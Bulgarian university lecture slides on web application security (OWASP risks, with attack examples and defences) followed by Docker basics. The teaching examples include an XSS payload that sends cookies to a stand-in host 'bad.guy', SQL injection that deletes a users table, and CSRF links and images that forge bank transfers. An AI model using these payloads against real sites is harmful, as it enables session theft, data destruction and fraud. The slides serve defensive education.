Сигурност на уеб приложения

Уеб технологии, спец. Информационни системи, 2023/24 г.

Тази презентацията е достъпна под лиценза Creative Commons Признание-Некомерсиално-Споделяне на споделеното 4.0 Международен

Информационна сигурност

Информацията като актив

  • информацията е ценен актив (asset)
  • заплахи над информацията:
    • загуба
    • неправомерен достъп
    • неправомерно разпространение
    • неправомерна употреба
    • неправомерно възпроизвеждане
    • неправомерна промяна

Какво е информационна сигурност?

Методи за защита на информацията от заплахи

  • превантивни мерки
  • наблюдение
  • процеси и процедури
  • проверка
  • периодично обновяване

Преди компютрите

  • основно физически и процедурни защити
  • защита на кореспонденцията (пример: шифър на Цезар)
  • защита от промяна (пример: восъчен печат)
  • нива на достъп (пример: военни класификации)

Преди мрежите

  • вируси, разрушаващи данни
    • защита: антивирусни програми
  • неправомерно възпроизвеждане на интелектуална собственост (пиратство)
    • защита: техники за защита от копиране
  • неправомерен достъп до данни при физически достъп
    • защита: криптографски алгоритми

Мрежова сигурност

Ще обърнем внимание основно на приложния и представителния слой

Сигурност на уеб приложения

Основни понятия

  • актив (asset) — ценен ресурс: данни, пари/точки по сметка, системни файлове, код, компютърно време, мрежова връзка
  • уязвимост (vulnerability) — аспект на системата, който позволява неупълномощен достъп до актив
  • атака (attack) — действие причиняващо вреда, свързана с един или повече активи
  • заплаха (threat) — потенциална атака над актив, обикновено свързана с използване на една или повече уязвимости

Троицата CIA

  • Поверителност (Confidentiality) — защита от неправомерен достъп
  • Цялостност (Integrity) — коректност и защита от неправомерна промяна
  • Наличност (Availability) — лесен достъп за упълномощените лица

Open Web Application Security Project (OWASP)

OWASP е фондация с идеална цел, посветена на подобряване на сигурността на уеб приложения

OWASP Top 10 Web Application Security Risks

Полезни ресурси

  • OWASP Development Guide — препоръки за разработка на сигурен софтуер
  • OWASP Testing Guide — препоръки за тестване на сигурността на приложенията
  • WebGoat — уеб приложение на Java за обучителни цели, разработено нарочно с много уязвимости
  • Zed Attack Proxy (ZAP) — инструмент за анализ на уязвимости на уеб приложения
  • Juice Shop — Node.js приложение с нарочно оставени уязвимости с обучителни цели

Популярни рискове и атаки над уеб приложения

Доверие в клиента (Client-side trust)

  • Уязвимост: приложението разчита, че информацията от клиента е коректна
  • Атака: обработваните от браузъра данни могат да бъдат променени или подправени
  • Пример:
    
                                                                                    <form action="/buy">
                                                                                    <input type="hidden" name="discount" value="0">
                                                                                    </form>
                                                                    
  • Защита: критичната логика на приложението трябва да е в сървърната част

Инжектиране на команди (Injection)

  • Уязвимост: очакват се данни, които да бъдат попълнени като параметри в команда
  • Атака: в данните могат да се съдържат специални символи, които да се интерпретират като част от командата и да се промени нейното действие
  • Пример (SQL injection):
    
                                                                                    query = "SELECT * FROM users WHERE id = " + id;
    
                                                                                    https://example.com/profile.php?id=2 OR 1=1
                                                                                    https://example.com/profile.php?id=2; DELETE FROM users
                                                                    
  • Защита: премахване или маскиране на специални символи, параметризирани заявки

Cross-site scripting (XSS)

  • Уязвимост: уеб страница визуализира данни, въведени от потребителя или подадени от браузъра, директно в HTML кода
  • Атака: в данните може да се сложи JavaScript, който да се изпълнява от името на потребителя и сайта
  • Пример:
    
                                                                                    <p>Коментар:<br><?= $userComment ?></p>
    
                                                                                    <script>window.location="http://bad.guy/?cookie=" + document.cookie</script>
                                                                                    <img src="logo.png" onload="var xhr=new XMLHttpRequest();\
                                                                                    xhr.open('GET', '/authService/user/delete?name=bob', true);xhr.send();"/>
                                                                    
  • Защита: маскиране на специалните символи, Content-Security-Policy (CSP)

Проблеми с удостоверяването (authentication)

  • Уязвимост: логически пропуск при проверка за удостоверяване на потребител
  • Атака: създаване на специална заявка, която да се възползва от логическия пропуск така, че сървърът да ни разпознае като друг потребител
  • Пример:
    
                                                                                    logged = true;
                                                                                    if (password && hash(password) != correctHash)
                                                                                    	logged = false;
                                                                    
  • Защита: използване на стандартен компонент за управление на сесии

Проблеми с упълномощаването (authorization)

  • Уязвимост: логически пропуск при проверка дали потребител има право да достъпи дадена страница
  • Атака: модифициране на стандартна заявка, така че да извършваме действия, за които не би трябвало да изпълним през потребителския интерфейс
  • Пример:
    
                                                                                    http://example.com/edit-profile
                                                                                    http://example.com/edit-profile?username=admin
                                                                    
  • Защита: отказ на достъп по подразбиране, валидиране на бисквитка или жетон (token) при всяка заявка

Подправяне на заявки
(Cross-Site Request Forgery — CSRF)

  • Уязвимост: обработка на заявка с неясен произход
  • Атака: подвеждане на браузъра на потребителя да генерира заявка от негово име към сайт, в който се е удостоверил
  • Пример:
    
                                                                                    Hi! You have won $1,000,000!
                                                                                    Click <a href="https://lame.bank/send?to=BADGUY&sum=10000">here</a>
                                                                                    to claim your prize!
    
                                                                                    <img src="https://lame.bank/send?to=BADGUY&sum=10000" width="0" height="0"/>
                                                                    
  • Защита: валидиране на жетон (token) при всяка заявка, използване на съвременна рамка за приложения

Използване на уязвими компоненти

  • Уязвимост: стандартен компонент с отворен код има известна уязвимост
  • Атака: изпълняване на библиотека от стандартни атаки срещу всички потенциално уязвими компоненти на сайта
  • Пример: CVE-2024-3094
    Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, resulting in a modified liblzma library that can be used to intercept and modify the data interaction with this library.
  • Защита: внимателно подбиране на компоненти за вграждане (поддържани ли са, от сигурен източник ли са), следене за обновления по сигурността

Docker

Виртуални машини

Програми, които софтуерно реализират хардуер

Предимства:

  • програми за една хардуерна архитектура върху друга
  • копия и "снимки" на състоянието на машината
  • изолация

Недостатъци:

  • ресурсоемки
  • отделна операционна система
  • трудна преносимост

Контейнери

Изолирани потребителски пространства, споделящи ОС и библиотеки

Предимства:

  • пестеливи откъм ресурси
  • лесно преносими
  • бързо създаване и стартиране

Недостатъци:

  • зависят от споделената ОС
  • по-слаба изолация

Основни команди на Docker

Стартиране на контейнер:
docker run --name mycontainer hello-world
Спиране на контейнер:

                                                                        docker kill mycontainer
                                                
Налични контейнери:

                                                                        docker ps [-a]
                                                
Изтриване на контейнер:

                                                                        docker rm [-f] mycontainer
                                                

Пускане на уеб сървър под Docker


                                                                docker run --name myserver \
                                                                           -p 8080:80 \
                                                                           -v /home/trifon/myapp:/usr/share/nginx/html:ro \
                                                                           -d nginx
                                                
Инспектиране на контейнера:

                                                                        docker exec -it myserver bash
                                                        

Построяване на образи (images)

Образите на контейнерите се описват с последователност от инструкции в Dockerfile


                                                                FROM ubuntu:22.04
                                                                MAINTAINER triffon@fmi.uni-sofia.bg
                                                                COPY mine_dogecoin.sh /root/
                                                                RUN useradd -p doge miner
                                                                CMD mine_dogecoin.sh
                                                
Построяване на образа:

                                                                        docker build -t dogeminer .
                                                        

Docker Hub

Локално сваляне на образ на контейнер:

                                                                        docker pull ubuntu:22.04
                                                
Списък с локално налични образи:

                                                                        docker images
                                                
Изтриване на локален образ:

                                                                        docker rmi ubuntu
                                                
Публикуване на образ:

                                                                        docker push dogeminer:latest
                                                

Въпроси?